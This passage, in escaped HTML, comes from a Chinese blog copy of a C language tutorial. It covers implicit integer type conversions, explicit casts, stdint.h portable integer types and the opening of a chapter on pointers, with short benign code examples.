c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e-5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026lt; \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e do_something();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ea\u003c/code\u003e是带符号整数,\u003ccode\u003esizeof(int)\u003c/code\u003e是\u003ccode\u003esize_t\u003c/code\u003e类型,这是一个无符号整数。按照规则,signed int 自动转为 unsigned int,所以\u003ccode\u003ea\u003c/code\u003e会自动转成无符号整数\u003ccode\u003e4294967291\u003c/code\u003e(转换规则是\u003ccode\u003e-5\u003c/code\u003e加上无符号整数的最大值,再加1),导致比较失败,\u003ccode\u003edo_something()\u003c/code\u003e不会执行。\u003c/p\u003e\u003cp\u003e所以,最好避免无符号整数与有符号整数的混合运算。因为这时 C 语言会自动将\u003ccode\u003esigned int\u003c/code\u003e转为\u003ccode\u003eunsigned int\u003c/code\u003e,可能不会得到预期的结果。\u003c/p\u003e\u003ch4 id=\"整数类型的运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"整数类型的运算\"\u003e\u003c/a\u003e整数类型的运算\u003c/h4\u003e\u003cp\u003e两个相同类型的整数运算时,或者单个整数的运算,一般来说,运算结果也属于同一类型。但是有一个例外,宽度小于\u003ccode\u003eint\u003c/code\u003e的类型,运算结果会自动提升为\u003ccode\u003eint\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e66\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((-a) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;negative\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ea\u003c/code\u003e是 unsigned char 类型,这个类型不可能小于0,但是\u003ccode\u003e-a\u003c/code\u003e不是 unsigned char 类型,会自动转为 int 类型,导致上面的代码输出 negative。\u003c/p\u003e\u003cp\u003e再看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e b = \u003cspan class=\"number\"\u003e255\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"number\"\u003e255\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((a - \u003cspan class=\"number\"\u003e5\u003c/span\u003e) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) do_something();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((b + c) \u0026gt; \u003cspan class=\"number\"\u003e300\u003c/span\u003e) do_something();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,表达式\u003ccode\u003ea - 5\u003c/code\u003e和\u003ccode\u003eb + c\u003c/code\u003e都会自动转为 int 类型,所以函数\u003ccode\u003edo_something()\u003c/code\u003e会执行两次。\u003c/p\u003e\u003ch4 id=\"函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"函数\"\u003e\u003c/a\u003e函数\u003c/h4\u003e\u003cp\u003e函数的参数和返回值,会自动转成函数定义里指定的类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003edostuff\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e m = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e n = \u003cspan class=\"number\"\u003e43\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c = dostuff(m, n);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,参数变量\u003ccode\u003em\u003c/code\u003e和\u003ccode\u003en\u003c/code\u003e不管原来的类型是什么,都会转成函数\u003ccode\u003edostuff()\u003c/code\u003e定义的参数类型。\u003c/p\u003e\u003cp\u003e下面是返回值自动转换类型的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数内部的变量\u003ccode\u003ea\u003c/code\u003e是\u003ccode\u003eint\u003c/code\u003e类型,但是返回的值是\u003ccode\u003echar\u003c/code\u003e类型,因为函数定义中返回的是这个类型。\u003c/p\u003e\u003ch3 id=\"类型的显式转换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E7%9A%84%E6%98%BE%E5%BC%8F%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"类型的显式转换\"\u003e\u003c/a\u003e类型的显式转换\u003c/h3\u003e\u003cp\u003e原则上,应该避免类型的自动转换,防止出现意料之外的结果。C 语言提供了类型的显式转换,允许手动转换类型。\u003c/p\u003e\u003cp\u003e只要在一个值或变量的前面,使用圆括号指定类型\u003ccode\u003e(type)\u003c/code\u003e,就可以将这个值或变量转为指定的类型,这叫做“类型指定”(casting)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e) ch\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将变量\u003ccode\u003ech\u003c/code\u003e转成无符号的字符类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e y = (\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e) \u003cspan class=\"number\"\u003e10\u003c/span\u003e + \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e(long int)\u003c/code\u003e将\u003ccode\u003e10\u003c/code\u003e显式转为\u003ccode\u003elong int\u003c/code\u003e类型。这里的显示转换其实是不必要的,因为赋值运算符会自动将右边的值,转为左边变量的类型。\u003c/p\u003e\u003ch3 id=\"可移植类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%AF%E7%A7%BB%E6%A4%8D%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"可移植类型\"\u003e\u003c/a\u003e可移植类型\u003c/h3\u003e\u003cp\u003eC 语言的整数类型(short、int、long)在不同计算机上,占用的字节宽度可能是不一样的,无法提前知道它们到底占用多少个字节。\u003c/p\u003e\u003cp\u003e程序员有时控制准确的字节宽度,这样的话,代码可以有更好的可移植性,头文件\u003ccode\u003estdint.h\u003c/code\u003e创造了一些新的类型别名。\u003c/p\u003e\u003cp\u003e(1)精确宽度类型(exact-width integer type),保证某个整数类型的宽度是确定的。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eint8_t\u003c/code\u003e:8位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint16_t\u003c/code\u003e:16位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint32_t\u003c/code\u003e:32位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint64_t\u003c/code\u003e:64位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint8_t\u003c/code\u003e:8位无符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint16_t\u003c/code\u003e:16位无符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint32_t\u003c/code\u003e:32位无符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint64_t\u003c/code\u003e:64位无符号整数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面这些都是类型别名,编译器会指定它们指向的底层类型。比如,某个系统中,如果\u003ccode\u003eint\u003c/code\u003e类型为32位,\u003ccode\u003eint32_t\u003c/code\u003e就会指向\u003ccode\u003eint\u003c/code\u003e;如果\u003ccode\u003elong\u003c/code\u003e类型为32位,\u003ccode\u003eint32_t\u003c/code\u003e则会指向\u003ccode\u003elong\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个使用示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdint.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint32_t\u003c/span\u003e x32 = \u003cspan class=\"number\"\u003e45933945\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x32 = %d\\n\u0026#34;\u003c/span\u003e, x32);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex32\u003c/code\u003e声明为\u003ccode\u003eint32_t\u003c/code\u003e类型,可以保证是32位的宽度。\u003c/p\u003e\u003cp\u003e(2)最小宽度类型(minimum width type),保证某个整数类型的最小长度。\u003c/p\u003e\u003cul\u003e\u003cli\u003eint_least8_t\u003c/li\u003e\u003cli\u003eint_least16_t\u003c/li\u003e\u003cli\u003eint_least32_t\u003c/li\u003e\u003cli\u003eint_least64_t\u003c/li\u003e\u003cli\u003euint_least8_t\u003c/li\u003e\u003cli\u003euint_least16_t\u003c/li\u003e\u003cli\u003euint_least32_t\u003c/li\u003e\u003cli\u003euint_least64_t\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面这些类型,可以保证占据的字节不少于指定宽度。比如,\u003ccode\u003eint_least8_t\u003c/code\u003e表示可以容纳8位有符号整数的最小宽度的类型。\u003c/p\u003e\u003cp\u003e(3)最快的最小宽度类型(fast minimum width type),可以使整数计算达到最快的类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eint_fast8_t\u003c/li\u003e\u003cli\u003eint_fast16_t\u003c/li\u003e\u003cli\u003eint_fast32_t\u003c/li\u003e\u003cli\u003eint_fast64_t\u003c/li\u003e\u003cli\u003euint_fast8_t\u003c/li\u003e\u003cli\u003euint_fast16_t\u003c/li\u003e\u003cli\u003euint_fast32_t\u003c/li\u003e\u003cli\u003euint_fast64_t\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面这些类型是保证字节宽度的同时,追求最快的运算速度,比如\u003ccode\u003eint_fast8_t\u003c/code\u003e表示对于8位有符号整数,运算速度最快的类型。这是因为某些机器对于特定宽度的数据,运算速度最快,举例来说,32位计算机对于32位数据的运算速度,会快于16位数据。\u003c/p\u003e\u003cp\u003e(4)可以保存指针的整数类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eintptr_t\u003c/code\u003e:可以存储指针(内存地址)的有符号整数类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euintptr_t\u003c/code\u003e:可以存储指针的无符号整数类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(5)最大宽度整数类型,用于存放最大的整数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eintmax_t\u003c/code\u003e:可以存储任何有效的有符号整数的类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euintmax_t\u003c/code\u003e:可以存放任何有效的无符号整数的类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的这两个类型的宽度比\u003ccode\u003elong long\u003c/code\u003e和\u003ccode\u003eunsigned long\u003c/code\u003e更大。\u003c/p\u003e\u003ch2 id=\"指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"指针\"\u003e\u003c/a\u003e指针\u003c/h2\u003e\u003cp\u003e指针是 C 语言最重要的概念之一,也是最难理解的概念之一。\u003c/p\u003e\u003ch3 id=\"简介-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-1\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e指针是什么?首先,它是一个值,这个值代表一个内存地址,因此指针相当于指向某个内存地址的路标。\u003c/p\u003e\u003cp\u003e字符\u003ccode\u003e*\u003c/code\u003e表示指针,通常跟在类型关键字的后面,表示指针指向的是什么类型的值。比如,\u003ccode\u003echar*\u003c/code\u003e表示一个指向字符的指针,\u003ccode\u003efloat*\u003c/code\u003e表示一个指向\u003ccode\u003efloat\u003c/code\u003e类型的值的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* intPtr;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个变量\u003ccode\u003eintPtr\u003c/code\u003e,它是一个指针,指向的内存地址存放的是一个整数。\u003c/p\u003e\u003cp\u003e星号\u003ccode\u003e*\u003c/code\u003e可以放在变量名与类型关键字之间的任何地方,下面的写法都是有效的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *intPtr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e * intPtr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* intPtr;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e本书使用星号紧跟在类型关键字后面的写法(即\u003ccode\u003eint* intPtr;\u003c/code\u003e),因为这样可以体现,指针变量就是一个普通变量,只不过它的值是内存地址而已。\u003c/p\u003e\u003cp\u003e这种写法有一个地方需要注意,如果同一行声明两个指针变量,那么需要写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e * foo, * bar;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* foo, bar;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第二行的执行结果是,\u003ccode\u003efoo\u003c/code\u003e是整数指针变量,而\u003ccode\u003ebar\u003c/code\u003e是整数变量,即\u003ccode\u003e*\u003c/code\u003e只对第一个变量生效。\u003c/p\u003e\u003cp\u003e一个指针指向的可能还是指针,这时就要用两个星号\u003ccode\u003e**\u003c/code\u003e表示。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e** foo;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例表示变量\u003ccode\u003efoo\u003c/code\u003e是一个指针,指向的还是一个指针,第二个指针指向的则是一个整数。\u003c/p\u003e\u003ch3 id=\"运算符-1\"\u003e\u003ca 